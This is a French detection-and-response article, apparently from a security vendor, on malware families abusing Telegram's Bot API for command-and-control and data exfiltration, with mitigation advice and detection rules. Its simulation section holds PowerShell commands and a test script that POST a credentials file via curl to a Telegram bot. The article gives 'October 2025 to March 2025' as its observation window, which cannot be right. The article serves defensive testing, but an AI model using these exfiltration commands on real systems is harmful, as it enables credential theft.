Chroniques de Détection & Réponse : Exploration de l’Abus de Telegram
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
L’article explique comment plusieurs acteurs malveillants exploitent l’API Bot de Telegram et les canaux dans les entreprises pour le commandement et le contrôle, l’exfiltration de données et la surveillance des victimes. Des familles de malwares, y compris DeerStealer, Lumma Stealer, Raven Stealer, et un constructeur XWorm trojanisé, intègrent en dur des jetons de bot ou des IDs de canal et appellent des points de terminaison tels que /sendMessage et /sendDocument. Il inclut des requêtes de détection Microsoft Defender et Sentinel axées sur des lignes de commande de processus suspects et le trafic vers api.telegram.org. Les conseils clés consistent à établir une base d’usage légitime de Telegram et à bloquer l’API là où elle n’est pas nécessaire.
Investigation
Le SOC de NVISO a rapporté quatre tentatives d’intrusion observées entre octobre 2025 et mars 2025 où Telegram a été utilisé à différentes étapes du cycle d’attaque. Le rapport met en lumière des campagnes telles que Lunar Spider surveillant les victimes via de fausses captures CAPTCHA, DeerStealer envoyant des notifications d’opérateur via curl, Lumma Stealer extrayant des détails C2 des canaux Telegram, Raven Stealer exfiltrant des collections archivées, et un constructeur XWorm s’appuyant sur l’API Bot pour à la fois l’exfiltration et le C2. Les analystes ont extrait des indicateurs incluant des lignes de commande de processus, des destinations réseau, et des noms de fichiers pertinents.
Atténuation
Établissez une base de référence pour l’utilisation légitime de Telegram, puis bloquez l’accès sortant à api.telegram.org dans les environnements où cela n’est pas requis. Surveillez les processus inhabituels (par exemple, curl, powershell, wscript) initiant des connexions à l’API et enquêtez sur toute interaction scriptée avec l’API Bot. Ajustez les détections pour supprimer le comportement attendu tel que les navigateurs connus lançant telegram.exe, et priorisez les requêtes de type long-polling ou webhook provenant de binaires suspects ou d’hôtes inattendus.
Réponse
Lorsque de l’activité est détectée, isolez le point d’extrémité affecté, arrêtez les processus suspects, et préservez les arguments en ligne de commande ainsi que la télémétrie DNS, proxy, et réseau. Effectuez une analyse médico-légale approfondie pour identifier les charges utiles secondaires associées à des campagnes comme DeerStealer ou Raven Stealer. Faites tourner tout jeton de bot exposé, désactivez ou révoquez les canaux Telegram abusés, et contenez la propagation en bloquant les indicateurs associés. Si un abus est confirmé, escaladez les rapports via les canaux officiels de Telegram et documentez l’incident pour prévenir la récurrence.
Flux d’attaque
Détections
Abus Possible de Telegram en Tant Que Canal de Commandement et Contrôle (via dns_query)
Voir
Modification Suspecte des Exclusions de Defender (via cmdline)
Voir
Processus Suspect Utilise une URL dans la Ligne de Commande (via cmdline)
Voir
IOCs (Emails) à détecter : Les Chroniques de Détection & Réponse : Explorer l’Abus de Telegram
Voir
Détecter la Communication Non-Navigateur avec l’API Telegram [Connexion Réseau Windows]
Voir
Détection de l’Usage Malveillant de l’API Telegram [Création de Processus Windows]
Voir
Exécution de Simulation
Prérequis : Le Contrôle Pré-vol de Télémétrie & Base de Référence doit avoir réussi.
Rationale : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Récit & Commandes d’Attaque :
Un adversaire avec un hôte Windows compromis souhaite exfiltrer un fichier d’identifiant récolté (creds.txt) vers un bot Telegram qu’ils contrôlent. Pour éviter de stocker un binaire personnalisé, ils utilisentcurl.exe(installé via les fonctionnalités optionnelles de Windows 10) pour POST le fichier àhttps://api.telegram.org/bot<ATTACKER_TOKEN>/sendDocument. La commande est exécutée depuis PowerShell, garantissant que l’événement de création de processus enregistre une ligne de commande contenant « api.telegram.org ». Comme le processus estcurl.exe, le filtre de la règle (InitiatingProcessFileName: "telegram.exe") ne supprime pas l’alerte.# Variables (remplacer par des valeurs contrôlées par l'attaquant) $BotToken = "123456:ABC-DEF1234ghIkl-zyx57W2v1u123ew11" $ChatID = "987654321" $FilePath = "C:Tempcreds.txt" # Assurer que le fichier existe (simulation de décharge d'identifiants) Set-Content -Path $FilePath -Value "username: admin`npassword: P@ssw0rd!" # Exécutez l'exfiltration via l'API Bot de Telegram $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID" curl.exe -X POST -F "document=@$FilePath" $Url -
Script de Test de Régression : Le script ci-dessous reproduit les étapes exactes, adapté pour des exécutions BAS automatisées.
#-------------------------------------------- # Test de Régression – Exfiltration API Telegram #-------------------------------------------- param( [string]$BotToken = "REPLACE_WITH_TOKEN", [string]$ChatID = "REPLACE_WITH_CHATID", [string]$TmpDir = "$env:TEMPTelegramBAS" ) # Créez un espace de travail temporaire New-Item -ItemType Directory -Path $TmpDir -Force | Out-Null # Fichier d'identifiants simulé $CredFile = Join-Path $TmpDir "creds.txt" "username: admin`npassword: P@ssw0rd!" | Set-Content -Path $CredFile # Construire l'URL de l'API $Url = "https://api.telegram.org/bot$BotToken/sendDocument?chat_id=$ChatID" # Invoquer l'exfiltration Write-Host "[*] Exfiltrating $CredFile to Telegram..." curl.exe -X POST -F "document=@$CredFile" $Url # Indicateur simple de succès (ne vérifie pas la livraison) if ($LASTEXITCODE -eq 0) { Write-Host "[+] Commande d'exfiltration exécutée." } else { Write-Error "[-] Exfiltration échouée." } -
Commandes de Nettoyage : Supprimez le fichier temporaire et le répertoire ; terminez éventuellement les
curl.exeprocessus persistants.# Nettoyer les artefacts temporaires Stop-Process -Name "curl" -ErrorAction SilentlyContinue Remove-Item -Path $TmpDir -Recurse -Force Write-Host "[*] Nettoyage terminé."